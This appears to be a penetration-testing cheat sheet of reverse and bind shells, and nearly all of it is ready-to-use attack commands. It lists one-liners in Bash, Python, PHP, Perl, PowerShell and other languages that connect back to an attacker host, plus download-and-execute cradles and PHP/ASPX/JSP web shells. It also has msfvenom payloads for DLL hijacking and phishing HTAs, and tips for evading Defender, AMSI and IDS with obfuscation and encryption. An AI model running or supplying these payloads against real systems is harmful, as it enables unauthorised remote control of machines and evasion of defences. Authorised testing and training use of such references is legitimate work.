Listeners
⚠️ ALWAYS start your listener BEFORE executing the shell on target!
Netcat Listeners
Basic nc listener
nc -nlvp 4444
rlwrap for history/arrows
rlwrap nc -nlvp 4444
Ncat with SSL (encrypted)
ncat --ssl -nlvp 443
Socat Listeners
Basic socat listener
socat TCP-L:4444 -
Socat full TTY listener
socat file:`tty`,raw,echo=0 tcp-listen:4444
pwncat (auto-stabilization!)
pwncat-cs -lp 4444
💡 Pro Tip
Use pwncat-cs for automatic shell stabilization, file upload/download, and persistence. It's the modern pentester's netcat!
🐧
Linux Shells
MOST RELIABLE Bash Shells
Bash /dev/tcp (most common)
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
Bash wrapped (for command injection)
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
Bash UDP shell
bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1
Requires bash compiled with /dev/tcp support (most distros have this)
CLASSIC Netcat Shells
Netcat -e (traditional nc)
nc -e /bin/bash ATTACKER_IP PORT
Netcat mkfifo (OpenBSD nc / no -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f
Netcat BusyBox (embedded systems)
busybox nc ATTACKER_IP PORT -e /bin/sh
PYTHON Python Shells
Python 3 one-liner
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python 2 one-liner
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python PTY spawn (fully interactive)
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
Other Languages
PHP
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
AWK
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/PORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Lua
lua -e 'require("socket");require("os");t=assert(socket.tcp());t:connect("ATTACKER_IP","PORT");os.execute("/bin/sh -i <&3 >&3 2>&3");'
Socat
socat TCP:ATTACKER_IP:PORT EXEC:/bin/bash
🪟
Windows Shells
POWERSHELL PowerShell Shells
PowerShell TCP one-liner
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length)}"
PowerShell Base64 encoded
powershell -e BASE64_ENCODED_PAYLOAD
# Generate at revshells.com or:
echo -n 'IEX(payload)' | iconv -t UTF-16LE | base64 -w0
PowerShell download & execute (powercat)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1');powercat -c ATTACKER_IP -p PORT -e cmd"
Bypass AMSI + Execution Policy
powershell -ep bypass -nop -w hidden -c "$PAYLOAD"
CMD & Netcat Windows
Netcat Windows (upload nc.exe first)
nc.exe -e cmd.exe ATTACKER_IP PORT
Nishang Invoke-PowerShellTcp
powershell "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port PORT"
ConPtyShell (full interactive!)
# On attacker: stty raw -echo; (stty size; cat) | nc -lvnp PORT
powershell "IEX(IWR http://ATTACKER_IP/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell ATTACKER_IP PORT"
⚠️ Windows Defender
Most PowerShell payloads get flagged by Defender. Use obfuscation tools like Invoke-Obfuscation, or generate payloads with msfvenom using encoding.
Web Shells
PHP Web Shells
Simple PHP shell
<?php system($_GET['cmd']); ?>
PHP passthru shell
<?php passthru($_REQUEST['cmd']); ?>
PHP reverse shell trigger
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); ?>
Full shell: /usr/share/webshells/php/php-reverse-shell.php
ASPX / JSP Shells
ASPX simple shell
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%= Process.Start(new ProcessStartInfo("cmd","/c " + Request["c"]) {UseShellExecute=false, RedirectStandardOutput=true}).StandardOutput.ReadToEnd() %>
JSP simple shell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Full shells in /usr/share/webshells/
MSFVenom Payloads
Linux Payloads
Linux x64 reverse shell ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f elf -o shell.elf
Linux Meterpreter x64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f elf -o meterpreter.elf
Windows Payloads
Windows x64 reverse shell EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f exe -o shell.exe
Windows Meterpreter staged x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f exe -o meterpreter.exe
Windows DLL (for DLL hijacking)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f dll -o evil.dll
HTA payload (for phishing)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=PORT -f hta-psh -o evil.hta
Web Payloads
PHP reverse shell
msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw -o shell.php
JSP reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp
WAR file (Tomcat)
msfvenom -p java/shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war
ASPX reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f aspx -o shell.aspx
💡 Staged vs Stageless
meterpreter/reverse_tcp = staged (smaller, needs handler). meterpreter_reverse_tcp = stageless (larger, standalone). Use staged for size-limited exploits, stageless for reliability.
✨
Shell Stabilization
Raw shells suck! No tab completion, no arrow keys, Ctrl+C kills your shell. Fix it:
1
Spawn a PTY (on target)
Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
2
Background shell
Press Ctrl + Z
3
Configure TTY (on YOUR machine)
stty + foreground
stty raw -echo; fg
4
Set environment (back in shell)
Export TERM + reset
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116
Get your size with stty -a on your machine
Alternative PTY Spawns
script method
script /dev/null -c bash
script -qc
script -qc /bin/bash /dev/null
perl
perl -e 'exec "/bin/bash";'
expect
expect -c 'spawn /bin/bash; interact'
socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT
rlwrap (attacker side)
rlwrap nc -nlvp PORT
Shell Escape / Breakout
Stuck in a restricted shell (rbash, rzsh, rksh)? Here's how to break out:
Common Escapes
SSH escape
ssh user@host -t "bash --noprofile"
vi/vim escape
vi
:set shell=/bin/bash
:shell
less/more escape
less /etc/passwd
!/bin/bash
awk spawn
awk 'BEGIN {system("/bin/bash")}'
More Escapes
find exec
find . -exec /bin/bash \; -quit
nmap (old versions)
nmap --interactive
nmap> !sh
python escape
python -c 'import os; os.system("/bin/bash")'
ftp escape
ftp
ftp> !/bin/bash
💡 GTFOBins
Check gtfobins.github.io for shell escapes, SUID/SUDO exploits, and file read/write bypasses for any binary!
Bind Shells
When reverse shells don't work (strict egress filtering), make the target listen and YOU connect:
Target Listeners
Netcat bind
nc -nlvp 4444 -e /bin/bash
Netcat mkfifo bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -nlvp 4444 >/tmp/f
Socat bind
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
Python bind
python3 -c 'import socket,os,subprocess;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,_=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Attacker Connect
Connect to bind shell
nc TARGET_IP 4444
rlwrap + nc
rlwrap nc TARGET_IP 4444
Socat connect
socat - TCP:TARGET_IP:4444
⚠️ Bind Shell Risks
Anyone can connect! Use strong ports and close ASAP. Consider adding a password check in your payload.
Encrypted Shells
Evade IDS/IPS and content inspection with encrypted traffic:
OpenSSL Encrypted Shell
Generate cert (attacker)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=pwned"
Listener (attacker)
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
Reverse shell (target)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:443 > /tmp/s; rm /tmp/s
Ncat SSL Encrypted
Listener (attacker)
ncat --ssl -nlvp 443
Reverse shell (target)
ncat --ssl -e /bin/bash ATTACKER_IP 443
Socat Encrypted (Full TTY!)
Generate cert (attacker)
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt -subj "/CN=pwn"
cat shell.key shell.crt > shell.pem
Listener (attacker)
socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork file:`tty`,raw,echo=0
Reverse shell (target)
socat OPENSSL:ATTACKER_IP:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
💡 Why Encrypted?
IDS/IPS can't inspect encrypted traffic. Using port 443 makes it look like normal HTTPS. Combine with DNS tunneling for ultimate stealth!